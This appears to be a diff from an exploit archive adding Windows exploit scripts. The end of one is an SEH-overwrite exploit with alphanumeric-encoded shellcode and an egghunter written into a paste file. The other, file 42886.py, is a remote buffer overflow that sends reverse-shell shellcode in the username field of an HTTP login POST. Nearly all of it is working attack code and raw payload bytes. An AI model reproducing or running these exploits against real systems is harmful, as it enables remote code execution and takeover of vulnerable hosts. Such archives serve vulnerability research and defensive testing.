"\x41\x2d\x41\x46\x71\x25\x2d\x5a\x77\x7a\x32\x50\x25\x4a\x4d"
|
||||
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x47\x47\x47\x2d\x47\x6e"
|
||||
"\x47\x6e\x2d\x47\x78\x6e\x78\x2d\x47\x79\x77\x79\x50\x25\x4a"
|
||||
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x38\x69\x38\x2d\x51"
|
||||
"\x4a\x72\x52\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
|
||||
"\x79\x79\x30\x79\x2d\x4d\x4d\x2d\x4d\x2d\x44\x35\x25\x41\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6f\x6f\x6f\x31"
|
||||
"\x2d\x74\x25\x6f\x33\x2d\x56\x32\x41\x25\x50\x25\x4a\x4d\x4e"
|
||||
"\x55\x25\x35\x32\x31\x2a\x2d\x54\x54\x54\x54\x2d\x72\x72\x54"
|
||||
"\x54\x2d\x79\x69\x49\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x70\x70\x70\x70\x2d\x70\x25\x5a\x70\x2d\x4a\x38"
|
||||
"\x36\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6d"
|
||||
"\x6d\x6d\x6d\x2d\x6d\x6d\x6d\x46\x2d\x48\x76\x74\x25\x2d\x53"
|
||||
"\x7a\x25\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
|
||||
"\x7a\x7a\x7a\x43\x2d\x49\x43\x25\x43\x2d\x25\x5f\x25\x30\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x51\x51\x51\x51"
|
||||
"\x2d\x51\x51\x51\x70\x2d\x38\x51\x61\x7a\x2d\x25\x39\x70\x7a"
|
||||
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x44\x37"
|
||||
"\x6c\x2d\x78\x30\x6f\x73\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x44\x25\x25\x44\x2d\x76\x25\x76\x76\x2d\x63\x6c"
|
||||
"\x63\x74\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x42"
|
||||
"\x47\x74\x4e\x2d\x33\x6c\x7a\x39\x50\x25\x4a\x4d\x4e\x55\x25"
|
||||
"\x35\x32\x31\x2a\x2d\x7a\x30\x66\x7a\x2d\x76\x44\x4f\x49\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x41\x41\x41"
|
||||
"\x2d\x6d\x67\x33\x6c\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
|
||||
"\x2a\x2d\x51\x51\x51\x51\x2d\x65\x71\x51\x51\x2d\x49\x76\x7a"
|
||||
"\x6a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x4a"
|
||||
"\x42\x35\x2d\x35\x7a\x7a\x42\x2d\x76\x7a\x73\x7a\x50\x25\x4a"
|
||||
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x25\x35\x35\x2d\x35"
|
||||
"\x25\x76\x35\x2d\x35\x39\x52\x69\x50\x25\x4a\x4d\x4e\x55\x25"
|
||||
"\x35\x32\x31\x2a\x2d\x74\x74\x74\x5a\x2d\x36\x5a\x74\x30\x2d"
|
||||
"\x25\x32\x6a\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
|
||||
"\x2d\x75\x75\x43\x75\x2d\x43\x6f\x41\x30\x2d\x39\x64\x30\x34"
|
||||
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x2d\x58"
|
||||
"\x6e\x2d\x78\x47\x35\x69\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x66\x79\x4f\x66\x2d\x48\x7a\x25\x47\x50\x25\x4a"
|
||||
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x42\x42\x7a\x42\x2d\x33"
|
||||
"\x6d\x55\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
|
||||
"\x61\x61\x61\x41\x2d\x61\x39\x64\x25\x2d\x59\x33\x7a\x34\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x66\x66\x66\x66"
|
||||
"\x2d\x41\x41\x66\x66\x2d\x25\x33\x66\x66\x2d\x34\x25\x6d\x43"
|
||||
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x49\x32"
|
||||
"\x49\x2d\x49\x59\x25\x49\x2d\x72\x74\x25\x6d\x50"
|
||||
)
|
||||
shellcode += "A" * 4000
|
||||
|
||||
egghunter = "A" * 40 # serve as NOP's
|
||||
egghunter += (
|
||||
"\x25\x4a\x4d\x4e\x55" # and eax, 0x554e4d4a
|
||||
"\x25\x35\x32\x31\x2a" # and eax, 0x2a313235
|
||||
"\x2d\x58\x58\x58\x58" # sub eax, 0x58585858
|
||||
"\x2d\x58\x58\x67\x58" # sub eax, 0x58675858
|
||||
"\x2d\x5a\x4f\x2d\x4f" # sub eax, 0x4f2d4f5a
|
||||
"\x50" # push eax
|
||||
"\x5c" # pop esp
|
||||
)
|
||||
egghunter += (
|
||||
"%JMNU%521*-%OOO-%OOO-AzayP%JMNU%521*-r-Pr-"
|
||||
"r%Pr-m7ukP%JMNU%521*-wwww-wwwA-wwA--k%FBP%"
|
||||
"JMNU%521*-Jk1J-Tk1T-sp%1P%JMNU%521*-WWM6-6"
|
||||
"W30-7L%%P%JMNU%521*-WNWW-W%d%-P4wTP%JMNU%5"
|
||||
"21*-wt7G-zIvNP%JMNU%521*-1%uu-1%u1-84KYP"
|
||||
)
|
||||
|
||||
offset = "A" * (23920-len(shellcode)) # offset to nSEH
|
||||
nSEH = "\x74\x26\x75\x26" # JE/JNZ + 38 (decimal)
|
||||
SEH = struct.pack('<L', 0x65263067) # POP,POP,RET (QtGui4.dll [asciiprint])
|
||||
trigger = "A" * (40000 - (
|
||||
len(offset) +
|
||||
len(nSEH) +
|
||||
len(SEH) +
|
||||
len(egghunter) +
|
||||
len(shellcode)
|
||||
)
|
||||
)
|
||||
|
||||
payload = offset + shellcode + nSEH + SEH + egghunter + trigger
|
||||
print "[*] payload written to pasteme.txt"
|
||||
fd = open("pasteme.txt", 'w')
|
||||
fd.write(payload)
|
||||
fd.close()
|
||||
53
platforms/windows/remote/42886.py
Executable file
53
platforms/windows/remote/42886.py
Executable file
|
|
@ -0,0 +1,53 @@
|
|||
#!/usr/bin/python
|
||||
import socket
|
||||
|
||||
try:
|
||||
print "\nSending evil buffer..."
|
||||
|
||||
shellcode = ("\xba\x31\x13\x39\xe4\xdb\xd3\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
|
||||
"\x52\x31\x56\x12\x03\x56\x12\x83\xdf\xef\xdb\x11\xe3\xf8\x9e"
|
||||
"\xda\x1b\xf9\xfe\x53\xfe\xc8\x3e\x07\x8b\x7b\x8f\x43\xd9\x77"
|
||||
"\x64\x01\xc9\x0c\x08\x8e\xfe\xa5\xa7\xe8\x31\x35\x9b\xc9\x50"
|
||||
"\xb5\xe6\x1d\xb2\x84\x28\x50\xb3\xc1\x55\x99\xe1\x9a\x12\x0c"
|
||||
"\x15\xae\x6f\x8d\x9e\xfc\x7e\x95\x43\xb4\x81\xb4\xd2\xce\xdb"
|
||||
"\x16\xd5\x03\x50\x1f\xcd\x40\x5d\xe9\x66\xb2\x29\xe8\xae\x8a"
|
||||
"\xd2\x47\x8f\x22\x21\x99\xc8\x85\xda\xec\x20\xf6\x67\xf7\xf7"
|
||||
"\x84\xb3\x72\xe3\x2f\x37\x24\xcf\xce\x94\xb3\x84\xdd\x51\xb7"
|
||||
"\xc2\xc1\x64\x14\x79\xfd\xed\x9b\xad\x77\xb5\xbf\x69\xd3\x6d"
|
||||
"\xa1\x28\xb9\xc0\xde\x2a\x62\xbc\x7a\x21\x8f\xa9\xf6\x68\xd8"
|
||||
"\x1e\x3b\x92\x18\x09\x4c\xe1\x2a\x96\xe6\x6d\x07\x5f\x21\x6a"
|
||||
"\x68\x4a\x95\xe4\x97\x75\xe6\x2d\x5c\x21\xb6\x45\x75\x4a\x5d"
|
||||
"\x95\x7a\x9f\xf2\xc5\xd4\x70\xb3\xb5\x94\x20\x5b\xdf\x1a\x1e"
|
||||
"\x7b\xe0\xf0\x37\x16\x1b\x93\xf7\x4f\x93\xde\x90\x8d\xd3\x21"
|
||||
"\xda\x1b\x35\x4b\x0c\x4a\xee\xe4\xb5\xd7\x64\x94\x3a\xc2\x01"
|
||||
"\x96\xb1\xe1\xf6\x59\x32\x8f\xe4\x0e\xb2\xda\x56\x98\xcd\xf0"
|
||||
"\xfe\x46\x5f\x9f\xfe\x01\x7c\x08\xa9\x46\xb2\x41\x3f\x7b\xed"
|
||||
"\xfb\x5d\x86\x6b\xc3\xe5\x5d\x48\xca\xe4\x10\xf4\xe8\xf6\xec"
|
||||
"\xf5\xb4\xa2\xa0\xa3\x62\x1c\x07\x1a\xc5\xf6\xd1\xf1\x8f\x9e"
|
||||
"\xa4\x39\x10\xd8\xa8\x17\xe6\x04\x18\xce\xbf\x3b\x95\x86\x37"
|
||||
"\x44\xcb\x36\xb7\x9f\x4f\x56\x5a\x35\xba\xff\xc3\xdc\x07\x62"
|
||||
"\xf4\x0b\x4b\x9b\x77\xb9\x34\x58\x67\xc8\x31\x24\x2f\x21\x48"
|
||||
"\x35\xda\x45\xff\x36\xcf")
|
||||
|
||||
inputBuffer = "A" * 780 + "\x83\x0c\x09\x10" + "C" * 4 + "\x90" * 10 + shellcode
|
||||
content="username="+inputBuffer+"&password=A"
|
||||
|
||||
buffer="POST /login HTTP/1.1\r\n"
|
||||
buffer+="Host: 192.168.176.139\r\n"
|
||||
buffer+="User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
|
||||
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
|
||||
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
|
||||
buffer+="Referer: http://192.168.176.139/login\r\n"
|
||||
buffer+="Connection: close\r\n"
|
||||
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
buffer+="Content-Length: "+str(len(content))+"\r\n"
|
||||
buffer+="\r\n"
|
||||
buffer+=content
|
||||
|
||||
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("192.168.176.139", 80))
|
||||
s.send(buffer)
|
||||
s.close()
|
||||
print "\nDone did you get a reverse shell?"
|
||||
except:
|
||||
print "\nCould not connect!"
|
||||
Loading…
Add table
Reference in a new issue